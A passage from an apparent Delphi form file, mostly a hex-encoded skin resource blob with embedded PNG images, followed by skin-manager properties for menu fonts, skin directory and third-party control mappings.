              2B113754A02515EA397FF12AC63E9062B6B80C988D310B7C5103EAC1B40A63E4
              A3AC6C77841A500FD8B0A16B7247A8A1E51863E90561ACC395882836F0A9EBC7
              48A8076CD4D53DA91018AB309B5D97A502BEA801F51C3F7D1EBD98FB423DDA33
              264A5A330617D28BC258C3D5EB374CE68A46B93E1F63BEA8873166512B9E3175
              BFE2241231A6F158D9203C918AA9AC709FD103E3A012791B633731DB266102EF
              AA982FEA011B74A7C64D098C9D3A979D93EBBE508F2718639755D53116614FEC
              C57DA24679B1C6CA86AB91B72CD6CA46A9E87CECBEA8076C38BA37E452423DC7
              4E9DCBC92B705FC76C8C693E56BAD98F812EF81163C888187BF1C6CA6B91B758
              075261AD7455CCF79A8DB16A2D92C0D8C9B3B90585EE0BF5B4E47C4C39637ABD
              9E184346DC8F29901731862F23D8A8ACAA765FC4188502BA29622CBFA0D07D79
              8431C742BB2839EC6BECE925192B23A26E57D7D4BA2FD403369E689150CFD193
              670B8B4BDCD7D116648C0053889913291F2BBDE51AACB68CD56B9150CF812327
              34610CF5D8192B7747DAF663EECBBBEE255DBF71A7A6B6CE7DA11E6D192BD6E9
              DD974718737B3EF672A9A1E1FA4D8D18BB2930F6548B243076F878895EEFBE50
              8F27183B7CF8F0D8B163B16C674C09639137EF6AC218EAD190B1FD878F979619
              DCD77E0F3006B476ECD871E3C60D2C05CCB8E379332ED989649B2039258D1E22
              5028D8B73E36ADCAD8332D1231663099DC972718430FF6AB5FFD2A3A3A1A9821
              2F626CB283E488317A9CB3D696AAABAB2B6D49E691165D696161716959193DA8
              92F428EBC7860697C4274B85B525198BBA75B7B6EE0949055ACC17F568C8D8BE
              43C78CA672F7857A3CD18F611E0BCCA4FD9813CC34614C5FDAC8586ADAA30C37
              524B32866375E3F63DC6893BB2C5F668C958B9C5E2BE1A19ABAC3218CBDD116A
              503E1F93C54CDB7ECC8B186B10E2C7A235622C5A4BC60E1EADB05ADD17EA011B
              9595D56EF687A8C1A5184529662F6D3FA639630DB63745B893500331A6C9DD87
              46C6AAC098D91DA106C6D8B2555F777CAF339342CC5E5AC630560AEFB4D18231
              D473E1F235F4426E32861A500FC6386D18B38D959E608C91A6B0377B99C7CA7B
              B109D8A29B80A106D41311750BC7C74DC65003EA3971E67C564E2E7B9C449D50
              03EAB975F77E852DFC5BC5230624B3EDF172D4C318C3716398393FC20CB397B6
              1F43CACCCEC50EBBC9186A403D58C42726BBC9186A403DB109495722A28A4AF4
              FA32838A083478C11735A09EF8A494629DBEAAAA5A75E4247C5103EAE11923CC
              9A658C61F632F76358C627A5263F48335BAC2AAE5DC00BBEA8812ABC732FC6F6
              F6924A368197DC7A112766092FF8A206AAEA874BD72E5CB906744B747A57052F
              F8A206AAEA7E5C62718980993AC11735B08306C6782939CE4EAEC1BE04FD5804
              65D00DE130DEBE17E3AAE0055FBECED487E991376F5FBA7ADD55C10BBE7C55F7
              62E28E9F3AB7F7E0D13D078E2817ECE1055FBEAAA4D4B4FBF149EA045FF70FF5
              4BCB58FBBB085A5D2F3C638BE3BDE977935DBDB5D7A6E4E83EA3BAF958D4AD7B
              677EB8AC5A706FB986F3AAB0011C5E1C647C9769292B59037C8C8B4F4E484E7D
              9896999B57905F50E492E00247B8A31269CDCEF78724FBD245158CB17ECC8BE4
              5D63250E2F8E3389DAAEA8A80462858E94909472373A26372F3F2FBF50B5E08E
              4A5055B39BA3BD12ED98268CB17EECEB751BBD42C2FFD8D0F86FCA6AEBE1532E
              A90518C3A1666267917CA15409892931B109EED0C50B55A142E75B94DD316DFB
              31341FD9B46589182BD0958A448C49CB09A7E44759D272E7844C9B315324A94D
              B78F7A8A246A0E1C6D97949D931B1397909D9BAFA1840A73725DDD9376C68AF5
              65221163D272C698B4DC395DA2CB4A104F1A11C5DF0724F1A46197E8982BD783
              87E9A0E2714E9E864285A8D6D53D71CE18354A61B10E35C725243325A7A609FF
              424EEE0BC058A9D1241231262D678C49CB9D3026058C61C6189302C63053CD18
              DA0867F9DA32860A51ADB68C198CE589C90FEEC7C5A3F2ACC7B9506656CEE36C
              615BD4736280F652C668CE8FDD369A2D221163D272C698B4BC59C0EEC5C432F1
              98F1808DE1920833156325BA02B414B59A564285A856C3B1126B63E292A263E3
              1FA667A6673C8684D75B65E508DBB2F79CC23C3029859FF3B73A42AEF66316AB
              5524624C5ACE1893963B670C5C15738961C63306AE781B861963CCD57F1330A0
              B13417AA75754F9C3096909C0A84D21E65418E18C3E906CE6AE3E293BD97316B
              559548C498B49C31262D6F9B8CA1A554BC25CF8950A1B68CC527A4105ACE19CB
              CDCB078D5EC7181B2BA5CFE41263D272C698B4BC0518AB74311163D4705A8918
              73754F9C33467439670C7A9896E9758CB17EACEE49BD48C498B49C31262D6F83
              8CE1A40CD3666D194385A85643C6D2D2331532969B57E0BD8C4983EA89316939
              634CA49699F3BBFA0AA0C2621D4ED61EDA1A5113A12A54886A5DDD13278C3D54
              CC587E41911732D638567AF43ABF86D72E6A5D4CF84F13931FE0948D359F7B3D
              5816AA4285A8D6D53D79891993A7425B69780D966F357A91545D5D7D5D5D9D13
              C60CC6F298B8249CB85123AA16DC5109AA42854E58AA13523DED5B3B632DC618
              4F9A9BF792642369D198CE436D0D4613CEC830B51666D7E9990F5D145CC81795
              341BD6EB28B533E6157A51E3C7DA1953A4067155376FDD86F89257DF7813E24B
              A40F5C287904A3C1F10452240D1D3DA7179EB1C6F8B1068790C872224245E5B1
              BD751BF5F050494B64151B9F74FB6E4C764E5E615109945F58942FFC24653189
              0AB11636A29F31C5C7BBF7620B0B8BE937C46585B5B091FEFE693B635EDA8F89
              0C644B44BA1F131F1397A0D39795E84A8B8518ADD2127DA9B0B47DA4125AC286
              FF31539B63626999C179C0AA2DA855F8995DD95F416D67AC3519538B1949E110
              89837F3F360118D05DE6D232237FD3191FA98495C3F2BEED745238258C4B809F
              C96892CA68135F62C32C81FF2DD48E3EDD65765B5228FB63E5C67213BD57ADDE
              F69BD195955566B30542F9CBC09806B1D63C5A7402C5A145791E2DD9DE4CC910
              09C5C427E51514B2681943D3E01983BD842F873DFD786E6151B1C3DF69B24954
              28FCA6B37DC4044B1D831E76ECF25113C0BA7C241436C50C80B13706331163B2
              E52F03631AF463D29374FB448E89CDE21C4DE79A1D225B97B1E744D931137DE4
              19931E10624CB6BC9D31359871DD17DFA13901AC49E7E0B4378B88BC693495B3
              C1D1D83440CB682FE1CB610F2F88FFB90A912A6D1215C21E5E321D57D79E82E4
              006B681F2B1D31D6D00C24B29C68726A29EDCD9C0F9A97AE5CE7FF054BD3FFC8
              622F1195C30BAAA969FE17819BA8A6065EE2AF00E89A9427A86B4FD93D6C1F2B
              9B678C6B6EE9B50B8F02C6B6EB64EDE5AB91F453AACA19833DBCA0DADA5A97DE
              DF0E7B78A9604C664C343A182B8D2F05638DBF5CD614307E4E25EA644480790E
              3659DDB875AFA0B04818CB6C4352F3AAAC823DBC209D4EFFECD933852FD68625
              EC6F347D985AF95849B40B43B66D72488CC98C952F0763B2803534882F3B484F
              0F1B1C5F88782119533EE79719138D0EC6CA978AB1A680116322C0883111602D
              CC58726A5A746CBCA5A2827F711392A3773AC112F6F022474CB114BE901696E4
              D848942BD72E548C952F768C6293EB636D6962E648F7EEC7DD8D89B35AAB6A9D
              FE721CD6C20696B0678ED131F1757575CDBE640F36B0648E0C33E9CE38BA06EB
              EA58F932C45A8B01B317B6CAD965B3BA7D57788D9E5E5F660B1E7B525B5B6747
              0B1900F20479BDED46122C79C75B364783012DDEF8E63D1E2D7C4439D6C2E656
              53478FEAE68BFECC480BCCC74431872A0CE4DA25BAEDC45D18CB4D4D646C2AA7
              6B1B5E9267DF78CC1A9A304698492FD737289E8F09CC344D228A9A35705559D9
              B9E72E5E3970E4C4FEC3C749C89358092F94C31E5EAAB75866300ABF35D9F03C
              63E0321813292F9B69B0075EBAFA0CEFB41933DFFFE8230D454F5574EAEAABA1
              1A434C9BA2A56EA04C7A94A510301145CD1AB8AAD4878F4E9EF9A1B844C7BF87
              D6F99B69510E7B78C1B7151973F55D0440A25397AE1A8A18FBCB3BEF6A2862EC
              F99CBF296022CCF842690F76EADC45E580318A78830EF6E42666E72E5CC97C9C
              ED64BB8E12BCE0AB8E3183D1D448943D63E43298E1535E36C318A3470F94BF53
              054874F6EDA6A188B1BF767A4F4369D88FB9D4894919EBD034F18CA18704C00A
              05630C7C4653B90AC6E0055F758C818DC67EC99EB170199C48525E36C33356EB
              CABBA104243EF850431163EFBCD759433D678C47CB9EDC9F8F69C218C8292933
              2A148C31BF2AC700E47A82177C3DC1587D7D3DE56533EE30F641AF8F3554E37C
              CCA78B867A3E5632C0B841D3FDF34AAD18D3198C0AD55A8CD1B57D54229BA12B
              FC0DC28511998CAB8CF173FE8FFBF6D550C458E7AEBE1AAAC958E90169321F03
              36D217A039522B32E644CE6F5AB9D38FF5F9B4BF8622C6BA747F5F434919D3FC
              FDC3EE9F570A8C99CC0AD55A8CB929D5FDD8A70307692862CCB7C7071A4AC4D8
              F39EC4C398B9747DAC9D3127FDD8A0A1C3341431F6BEA6E21913CF88B4C64CF5
              757E606328372BD4CBC6D8B091A3341431A6ED79049BF3CB2615F0483971DF00
              D8485F16EA482F1B6323C78CD150C4D8479FF4D650AC1F73CE98A37225537AD1
              349E12158AE6FCB2351063264B8542BD0C8CF1F331BF80000D458CF5EADB4F43
              2961CCC92AE58CF198B112C698FC2638C6CA2B2A14EA65608CEFC7C68E1FAFA1
              88B14F3EEDAFA19A1D2B1DADA2B50A2F4DF0D888106A67CCCD7E6CFCC4491A8A
              18EB3360A08672DE8F359BDCBFC4AA9031E98BB51DE965608CFF4DAE49534327
              4E0ED144A88AEA0415FD060ED244CFDFEBD520332636381E289981FB97581532
              267DB1B623B50A63E1B6D42A8C854C9B1E123A4D1B4D9BCE18FB74F0104D2462
              ACC1C1F5314780B9C4989BFD582B3226E5475482FC005B720733D58C4153C2C2
              A64E7757A884DF1FB0D17FC85037D5E4E5840DCF2BEF2077C9421630E58CF1D8
              8810F204631AC65D48F91195B08F6E62E60E635068F80C68CEFC052A44BED25D
              A23758FA8D1BAF42D2B75F12634D6EEED03FCEBD148532FC4B51143226EABB78
              A29433565553A35030D62A7E4CCA8F5644B9C998A3DFC10C0D9BA142CE774CFA
              DE542592A9CADE9AECCA279644111FDBC3E279A8A4F18D01CA1813AD1231E6A4
              06158CA53C4C3F7EFA7C465636FA25476F50110996B087177CB5C2C625B9FA02
              5247EFFC6CBB125A5DA61F63BD96B41F63252D709DDFD518C5065BB8F5B90B97
              1D45EFCBC7F35FB8AC3AD0BA5DCD0B8B0EFF1B79932B6D0B000000476C6F7742
              746E2E706E67890D0000789C01890D76F289504E470D0A1A0A0000000D494844
              520000002E000000260806000000BBEAA95A000000097048597300000B130000
              0B1301009A9C1800000A4F6943435050686F746F73686F70204943432070726F
              66696C65000078DA9D53675453E9163DF7DEF4424B8880944B6F521508205242
              8B801491262A2109104A8821A1D91551C1114545041BC8A088038E8E808C1551
              2C0C8A0AD807E421A28E83A3888ACAFBE17BA36BD6BCF7E6CDFEB5D73EE7ACF3
              9DB3CF07C0080C9648335135800CA9421E11E083C7C4C6E1E42E40810A247000
              1008B3642173FD230100F87E3C3C2B22C007BE000178D30B0800C04D9BC0301C
              87FF0FEA42995C01808401C07491384B08801400407A8E42A600404601809D98
              265300A0040060CB6362E300502D0060277FE6D300809DF8997B01005B942115
              01A09100201365884400683B00ACCF568A450058300014664BC43900D82D0030
              4957664800B0B700C0CE100BB200080C00305188852900047B0060C823237800
              8499001446F2573CF12BAE10E72A00007899B23CB9243945815B082D71075757
              2E1E28CE49172B14366102619A402EC27999193281340FE0F3CC0000A0911511
              E083F3FD78CE0EAECECE368EB60E5F2DEABF06FF226262E3FEE5CFAB70400000
              E1747ED1FE2C2FB31A803B06806DFEA225EE04685E0BA075F78B66B20F40B500
              A0E9DA57F370F87E3C3C45A190B9D9D9E5E4E4D84AC4425B61CA577DFE67C25F
              C057FD6CF97E3CFCF7F5E0BEE22481325D814704F8E0C2CCF44CA51CCF920984
              62DCE68F47FCB70BFFFC1DD322C44962B9582A14E35112718E449A8CF332A522
              89429229C525D2FF64E2DF2CFB033EDF3500B06A3E017B912DA85D6303F64B27
              105874C0E2F70000F2BB6FC1D4280803806883E1CF77FFEF3FFD47A025008066
              49927100005E44242E54CAB33FC708000044A0812AB0411BF4C1182CC0061CC1
              05DCC10BFC6036844224C4C24210420A64801C726029AC82422886CDB01D2A60
              2FD4401D34C051688693700E2EC255B80E3D700FFA61089EC128BC81090441C8
              08136121DA8801628A58238E08179985F821C14804128B2420C9881451224B91
              354831528A542055481DF23D720239875C46BA913BC8003282FC86BC47319481
              B2513DD40CB543B9A8371A8446A20BD06474319A8F16A09BD072B41A3D8C36A1
              E7D0AB680FDA8F3E43C730C0E8180733C46C302EC6C342B1382C099363CBB122
              AC0CABC61AB056AC03BB89F563CFB17704128145C0093604774220611E414858
              4C584ED848A8201C243411DA093709038451C2272293A84BB426BA11F9C41862
              32318758482C23D6128F132F107B8843C437241289433227B9900249B1A454D2
              12D246D26E5223E92CA99B34481A2393C9DA646BB20739942C202BC885E49DE4
              C3E433E41BE421F25B0A9D624071A4F853E22852CA6A4A19E510E534E5066598
              324155A39A52DDA8A15411358F5A42ADA1B652AF5187A81334759A39CD831649
              4BA5ADA295D31A681768F769AFE874BA11DD951E4E97D057D2CBE947E897E803
              F4770C0D861583C7886728199B18071867197718AF984CA619D38B19C7543037
              31EB98E7990F996F55582AB62A7C1591CA0A954A9526951B2A2F54A9AAA6AADE
              AA0B55F355CB548FA95E537DAE46553353E3A909D496AB55AA9D50EB531B5367
              A93BA887AA67A86F543FA47E59FD890659C34CC34F43A451A0B15FE3BCC6200B
              6319B3782C216B0DAB86758135C426B1CDD97C762ABB98FD1DBB8B3DAAA9A139
              43334A3357B352F394663F07E39871F89C744E09E728A797F37E8ADE14EF29E2
              291BA6344CB931655C6BAA96979658AB48AB51AB47EBBD36AEEDA79DA6BD45BB
              59FB810E41C74A275C2747678FCE059DE753D953DDA70AA7164D3D3AF5AE2EAA
              6BA51BA1BB4477BF6EA7EE989EBE5E809E4C6FA7DE79BDE7FA1C7D2FFD54FD6D
              FAA7F5470C5806B30C2406DB0CCE183CC535716F3C1D2FC7DBF151435DC34043
              A561956197E18491B9D13CA3D5468D460F8C69C65CE324E36DC66DC6A3260626
              21264B4DEA4DEE9A524DB9A629A63B4C3B4CC7CDCCCDA2CDD699359B3D31D732
              E79BE79BD79BDFB7605A785A2CB6A8B6B86549B2E45AA659EEB6BC6E855A3959
              A558555A5DB346AD9DAD25D6BBADBBA711A7B94E934EAB9ED667C3B0F1B6C9B6
              A9B719B0E5D806DBAEB66DB67D6167621767B7C5AEC3EE93BD937DBA7D8DFD3D
              070D87D90EAB1D5A1D7E73B472143A563ADE9ACE9CEE3F7DC5F496E92F6758CF
              10CFD833E3B613CB29C4699D539BD347671767B97383F3888B894B82CB2E973E
              2E9B1BC6DDC8BDE44A74F5715DE17AD2F59D9BB39BC2EDA8DBAFEE36EE69EE87
              DC9FCC349F299E593373D0C3C843E051E5D13F0B9F95306BDFAC7E4F434F8167
              B5E7232F632F9157ADD7B0B7A577AAF761EF173EF63E729FE33EE33C37DE32DE
              595FCC37C0B7C8B7CB4FC36F9E5F85DF437F23FF64FF7AFFD100A78025016703
              898141815B02FBF87A7C21BF8E3F3ADB65F6B2D9ED418CA0B94115418F82AD82
              E5C1AD2168C8EC90AD21F7E798CE91CE690E85507EE8D6D00761E6618BC37E0C
              2785878557863F8E7088581AD131973577D1DC4373DF44FA449644DE9B67314F
              39AF2D4A352A3EAA2E6A3CDA37BA34BA3FC62E6659CCD5589D58496C4B1C392E
              2AAE366E6CBEDFFCEDF387E29DE20BE37B17982FC85D7079A1CEC2F485A716A9
              2E122C3A96404C884E3894F041102AA8168C25F21377258E0A79C21DC267222F
              D136D188D8435C2A1E4EF2482A4D7A92EC91BC357924C533A52CE5B98427A990
              BC4C0D4CDD9B3A9E169A76206D323D3ABD31839291907142AA214D93B667EA67
              E66676CBAC6585B2FEC56E8BB72F1E9507C96BB390AC05592D0AB642A6E8545A
              28D72A07B267655766BFCD89CA3996AB9E2BCDEDCCB3CADB90379CEF9FFFED12
              C212E192B6A5864B572D1D58E6BDAC6A39B23C7179DB0AE315052B865606AC3C
              B88AB62A6DD54FABED5797AE7EBD267A4D6B815EC1CA82C1B5016BEB0B550AE5
              857DEBDCD7ED5D4F582F59DFB561FA869D1B3E15898AAE14DB1797157FD828DC
              78E51B876FCABF99DC94B4A9ABC4B964CF66D266E9E6DE2D9E5B0E96AA97E697
              0E6E0DD9DAB40DDF56B4EDF5F645DB2F97CD28DBBB83B643B9A3BF3CB8BC65A7
              C9CECD3B3F54A454F454FA5436EED2DDB561D7F86ED1EE1B7BBCF634ECD5DB5B
              BCF7FD3EC9BEDB5501554DD566D565FB49FBB3F73FAE89AAE9F896FB6D5DAD4E
              6D71EDC703D203FD07230EB6D7B9D4D51DD23D54528FD62BEB470EC71FBEFE9D
              EF772D0D360D558D9CC6E223704479E4E9F709DFF71E0D3ADA768C7BACE107D3
              1F761D671D2F6A429AF29A469B539AFB5B625BBA4FCC3ED1D6EADE7AFC47DB1F
              0F9C343C59794AF354C969DAE982D39367F2CF8C9D959D7D7E2EF9DC60DBA2B6
              7BE763CEDF6A0F6FEFBA1074E1D245FF8BE73BBC3BCE5CF2B874F2B2DBE51357
              B8579AAF3A5F6DEA74EA3CFE93D34FC7BB9CBB9AAEB95C6BB9EE7ABDB57B66F7
              E91B9E37CEDDF4BD79F116FFD6D59E393DDDBDF37A6FF7C5F7F5DF16DD7E7227
              FDCECBBBD97727EEADBC4FBC5FF440ED41D943DD87D53F5BFEDCD8EFDC7F6AC0
              77A0F3D1DC47F7068583CFFE91F58F0F43058F998FCB860D86EB9E383E3939E2
              3F72FDE9FCA743CF64CF269E17FEA2FECBAE17162F7EF8D5EBD7CED198D1A197
              F29793BF6D7CA5FDEAC0EB19AFDBC6C2C61EBEC97833315EF456FBEDC177DC77
              1DEFA3DF0F4FE47C207F28FF68F9B1F553D0A7FB93199393FF040398F3FC6333
              2DDB000000206348524D00007A25000080830000F9FF000080E9000075300000
              EA6000003A980000176F925FC546000002B44944415478DAD4596D76E3200C94
              8026CDA97AA1F6343DD19E2A75ECC0FE01BFC944C2DE1F265BBDC78392148FC6
              425FD1F2292CBA73E6B574F68BF3BD62ACEDF9BB3C9CA1009C0129ADADBDBD8A
              6C01E575713E5F1568C02D56710467AD0EE02DC62DA0D959178BFDE498483066
              1EEABC0D3ECF025D0CD03894146873DB9764BC6A0B6484D153620FE31ED82C22
              77184D815CFF2FAFE77CA926320D0F6CAA23C21C0DF03D3BC7D76D815D605E60
              1FA529519263CF08F80D468239FD03F81EE806748639D499CF58CF4D8E9934D0
              A70AF4242267FA3BC108CEA515E7126600BC88C8AD02BD39A6F774517B8C3796
              DF2BE8369F418944A6B307F89D98BE89C854079260DD87F5ECD4611B99BED078
              AF9F9DC074023D94BD4A26B61BC33711F911912B282FE45132BBC8E4B0DD8037
              A62F22F2478E906FF2965FFA41802D4F637A954836DE181F251730A5993CD86A
              2AE809F055A3377905F03379B227330C8E1F67C6CF0381F3E58F56A00B466E12
              28E8BCBD00B8152BD433952DEF324AD0534523B899A662994CA44075B4582985
              5A8C8B039EBDCC28898E793C04B6D0A95E7A29EB91A23BF27D13F8AF90B0917E
              96A7D2E978F12B1F07B857995879F19182E1BD78040607B495E48F9285C09BF5
              6730CA2A4EF25B16374A6E505430F8156770127DAE4CA681C02700BE3866E326
              EC7723C91F097CAACF5E1C937930152BD16F6C5F0702BF02EB8D79C4B616CBE2
              7891C6781A1C39AF06E36C2EA2E5730DAF116A4D4C672F034B371E6836332A91
              C89B28B08D5D2C8142B799CF11C5F2549598B6BC4B32226506804A6CE1838E6A
              4F20E8D90B46C9F0E14A91121F3857D3980E6E08CD5BBE3C3901488CBD7B053A
              0F6EC175192FD49BF322698416D988A66776FA2A2BE36A306E05A5516DE6ECB4
              99C5EA8F17EA4BABB3F7FAC63ED4920F4D734719858BFBF29F529271504F81FF
              E6C7ABBF030005310E848FAAA6D20000000049454E44AE42608248206E8F0C00
              0000476C6F77456469742E706E67C40B0000789C01C40B3BF489504E470D0A1A
              0A0000000D494844520000001200000012080600000056CE8E57000000097048
              597300000B1300000B1301009A9C1800000A4F6943435050686F746F73686F70
              204943432070726F66696C65000078DA9D53675453E9163DF7DEF4424B888094
              4B6F5215082052428B801491262A2109104A8821A1D91551C1114545041BC8A0
              88038E8E808C15512C0C8A0AD807E421A28E83A3888ACAFBE17BA36BD6BCF7E6
              CDFEB5D73EE7ACF39DB3CF07C0080C9648335135800CA9421E11E083C7C4C6E1
              E42E40810A2470001008B3642173FD230100F87E3C3C2B22C007BE000178D30B
              0800C04D9BC0301C87FF0FEA42995C01808401C07491384B08801400407A8E42
              A600404601809D98265300A0040060CB6362E300502D0060277FE6D300809DF8
              997B01005B94211501A09100201365884400683B00ACCF568A45005830001466
              4BC43900D82D00304957664800B0B700C0CE100BB200080C0030518885290004
              7B0060C8232378008499001446F2573CF12BAE10E72A00007899B23CB9243945
              815B082D710757572E1E28CE49172B14366102619A402EC27999193281340FE0
              F3CC0000A0911511E083F3FD78CE0EAECECE368EB60E5F2DEABF06FF226262E3
              FEE5CFAB70400000E1747ED1FE2C2FB31A803B06806DFEA225EE04685E0BA075
              F78B66B20F40B500A0E9DA57F370F87E3C3C45A190B9D9D9E5E4E4D84AC4425B
              61CA577DFE67C25FC057FD6CF97E3CFCF7F5E0BEE22481325D814704F8E0C2CC
              F44CA51CCF92098462DCE68F47FCB70BFFFC1DD322C44962B9582A14E3511271
              8E449A8CF332A52289429229C525D2FF64E2DF2CFB033EDF3500B06A3E017B91
              2DA85D6303F64B27105874C0E2F70000F2BB6FC1D4280803806883E1CF77FFEF
              3FFD47A02500806649927100005E44242E54CAB33FC708000044A0812AB0411B
              F4C1182CC0061CC105DCC10BFC6036844224C4C24210420A64801C726029AC82
              422886CDB01D2A602FD4401D34C051688693700E2EC255B80E3D700FFA61089E
              C128BC81090441C808136121DA8801628A58238E08179985F821C14804128B24
              20C9881451224B91354831528A542055481DF23D720239875C46BA913BC80032
              82FC86BC47319481B2513DD40CB543B9A8371A8446A20BD06474319A8F16A09B
              D072B41A3D8C36A1E7D0AB680FDA8F3E43C730C0E8180733C46C302EC6C342B1
              382C099363CBB122AC0CABC61AB056AC03BB89F563CFB17704128145C0093604
              774220611E4148584C584ED848A8201C243411DA093709038451C2272293A84B
              B426BA11F9C4186232318758482C23D6128F132F107B8843C437241289433227
              B9900249B1A454D212D246D26E5223E92CA99B34481A2393C9DA646BB2073994
              2C202BC885E49DE4C3E433E41BE421F25B0A9D624071A4F853E22852CA6A4A19
              E510E534E5066598324155A39A52DDA8A15411358F5A42ADA1B652AF5187A813
              34759A39CD8316494BA5ADA295D31A681768F769AFE874BA11DD951E4E97D057
              D2CBE947E897E803F4770C0D861583C7886728199B18071867197718AF984CA6
              19D38B19C754303731EB98E7990F996F55582AB62A7C1591CA0A954A9526951B
              2A2F54A9AAA6AADEAA0B55F355CB548FA95E537DAE46553353E3A909D496AB55
              AA9D50EB531B5367A93BA887AA67A86F543FA47E59FD890659C34CC34F43A451
              A0B15FE3BCC6200B6319B3782C216B0DAB86758135C426B1CDD97C762ABB98FD
              1DBB8B3DAAA9A13943334A3357B352F394663F07E39871F89C744E09E728A797
              F37E8ADE14EF29E2291BA6344CB931655C6BAA96979658AB48AB51AB47EBBD36
              AEEDA79DA6BD45BB59FB810E41C74A275C2747678FCE059DE753D953DDA70AA7
              164D3D3AF5AE2EAA6BA51BA1BB4477BF6EA7EE989EBE5E809E4C6FA7DE79BDE7
              FA1C7D2FFD54FD6DFAA7F5470C5806B30C2406DB0CCE183CC535716F3C1D2FC7
              DBF151435DC34043A561956197E18491B9D13CA3D5468D460F8C69C65CE324E3
              6DC66DC6A326062621264B4DEA4DEE9A524DB9A629A63B4C3B4CC7CDCCCDA2CD
              D699359B3D31D732E79BE79BD79BDFB7605A785A2CB6A8B6B86549B2E45AA659
              EEB6BC6E855A3959A558555A5DB346AD9DAD25D6BBADBBA711A7B94E934EAB9E
              D667C3B0F1B6C9B6A9B719B0E5D806DBAEB66DB67D6167621767B7C5AEC3EE93
              BD937DBA7D8DFD3D070D87D90EAB1D5A1D7E73B472143A563ADE9ACE9CEE3F7D
              C5F496E92F6758CF10CFD833E3B613CB29C4699D539BD347671767B97383F388
              8B894B82CB2E973E2E9B1BC6DDC8BDE44A74F5715DE17AD2F59D9BB39BC2EDA8
              DBAFEE36EE69EE87DC9FCC349F299E593373D0C3C843E051E5D13F0B9F95306B
              DFAC7E4F434F8167B5E7232F632F9157ADD7B0B7A577AAF761EF173EF63E729F
              E33EE33C37DE32DE595FCC37C0B7C8B7CB4FC36F9E5F85DF437F23FF64FF7AFF
              D100A78025016703898141815B02FBF87A7C21BF8E3F3ADB65F6B2D9ED418CA0
              B94115418F82AD82E5C1AD2168C8EC90AD21F7E798CE91CE690E85507EE8D6D0
              0761E6618BC37E0C2785878557863F8E7088581AD131973577D1DC4373DF44FA
              449644DE9B67314F39AF2D4A352A3EAA2E6A3CDA37BA34BA3FC62E6659CCD558
              9D58496C4B1C392E2AAE366E6CBEDFFCEDF387E29DE20BE37B17982FC85D7079
              A1CEC2F485A716A92E122C3A96404C884E3894F041102AA8168C25F21377258E
              0A79C21DC267222FD136D188D8435C2A1E4EF2482A4D7A92EC91BC357924C533
              A52CE5B98427A990BC4C0D4CDD9B3A9E169A76206D323D3ABD31839291907142
              AA214D93B667EA67E66676CBAC6585B2FEC56E8BB72F1E9507C96BB390AC0559
              2D0AB642A6E8545A28D72A07B267655766BFCD89CA3996AB9E2BCDEDCCB3CADB
              90379CEF9FFFED12C212E192B6A5864B572D1D58E6BDAC6A39B23C7179DB0AE3
              15052B865606AC3CB88AB62A6DD54FABED5797AE7EBD267A4D6B815EC1CA82C1
              B5016BEB0B550AE5857DEBDCD7ED5D4F582F59DFB561FA869D1B3E15898AAE14
              DB1797157FD828DC78E51B876FCABF99DC94B4A9ABC4B964CF66D266E9E6DE2D
              9E5B0E96AA97E6970E6E0DD9DAB40DDF56B4EDF5F645DB2F97CD28DBBB83B643
              B9A3BF3CB8BC65A7C9CECD3B3F54A454F454FA5436EED2DDB561D7F86ED1EE1B
              7BBCF634ECD5DB5BBCF7FD3EC9BEDB5501554DD566D565FB49FBB3F73FAE89AA
              E9F896FB6D5DAD4E6D71EDC703D203FD07230EB6D7B9D4D51DD23D54528FD62B
              EB470EC71FBEFE9DEF772D0D360D558D9CC6E223704479E4E9F709DFF71E0D3A
              DA768C7BACE107D31F761D671D2F6A429AF29A469B539AFB5B625BBA4FCC3ED1
              D6EADE7AFC47DB1F0F9C343C59794AF354C969DAE982D39367F2CF8C9D959D7D
              7E2EF9DC60DBA2B67BE763CEDF6A0F6FEFBA1074E1D245FF8BE73BBC3BCE5CF2
              B874F2B2DBE51357B8579AAF3A5F6DEA74EA3CFE93D34FC7BB9CBB9AAEB95C6B
              B9EE7ABDB57B66F7E91B9E37CEDDF4BD79F116FFD6D59E393DDDBDF37A6FF7C5
              F7F5DF16DD7E7227FDCECBBBD97727EEADBC4FBC5FF440ED41D943DD87D53F5B
              FEDCD8EFDC7F6AC077A0F3D1DC47F7068583CFFE91F58F0F43058F998FCB860D
              86EB9E383E3939E23F72FDE9FCA743CF64CF269E17FEA2FECBAE17162F7EF8D5
              EBD7CED198D1A197F29793BF6D7CA5FDEAC0EB19AFDBC6C2C61EBEC97833315E
              F456FBEDC177DC771DEFA3DF0F4FE47C207F28FF68F9B1F553D0A7FB93199393
              FF040398F3FC63332DDB000000206348524D00007A25000080830000F9FF0000
              80E9000075300000EA6000003A980000176F925FC546000000EF4944415478DA
              CC945B0AC23014444FD2882FF043B7E64A741DEEC4D5093E4A4DE3CFDC1082B6
              2A7E3870E963EE1DA6E9242EED30B8AA8690721D5202F0223C108019B0502D5F
              94F13320B0771E0D7BA011B1D4B579E1CC9C44E0069C811B7B4750C344226B60
              054C0BB7357AA0054E7A8E402C1D4D25B201E67AF70C11B8EAFEAC3E1F8A850E
              129B03C791C5DEAA37D8E7FBEA8FF90127251AF5BA5A88377EF933E419CF8FF0
              DF42E98BF9540B59627BE5640C51BD3697939D80BB127B554EC602D96A260B99
              8B32F6EF6E91D6DC99A34E7107B87CB869BBD21122A2C8A133A914EB80C82165
              477D417E75B03D060043F251B9724C11150000000049454E44AE426082A93096
              25}
          end>
        MenuSupport.IcoLineSkin = 'ICOLINE'
        MenuSupport.ExtraLineFont.Charset = DEFAULT_CHARSET
        MenuSupport.ExtraLineFont.Color = clWindowText
        MenuSupport.ExtraLineFont.Height = -11
        MenuSupport.ExtraLineFont.Name = 'MS Sans Serif'
        MenuSupport.ExtraLineFont.Style = []
        SkinDirectory = 'c:\Skins'
        SkinName = 'Ubuntu (internal)'
        SkinInfo = '8'
        ThirdParty.ThirdEdits = ' '
        ThirdParty.ThirdButtons = 'TButton'
        ThirdParty.ThirdBitBtns = ' '
        ThirdParty.ThirdCheckBoxes = ' '
        ThirdParty.ThirdGroupBoxes = ' '
        ThirdParty.ThirdListViews = ' '
        ThirdParty.ThirdPanels = ' '
        ThirdParty.ThirdGrids = ' '
        ThirdParty.ThirdTreeViews = ' '
        ThirdParty.ThirdComboBoxes = ' '
        ThirdParty.ThirdWWEdits = ' '
        ThirdParty.ThirdVirtualTrees = ' '
        ThirdParty.ThirdGridEh = ' '
        ThirdParty.ThirdPageControl = ' '
        ThirdParty.ThirdTabControl = ' '
        ThirdParty.ThirdToolBar = ' '
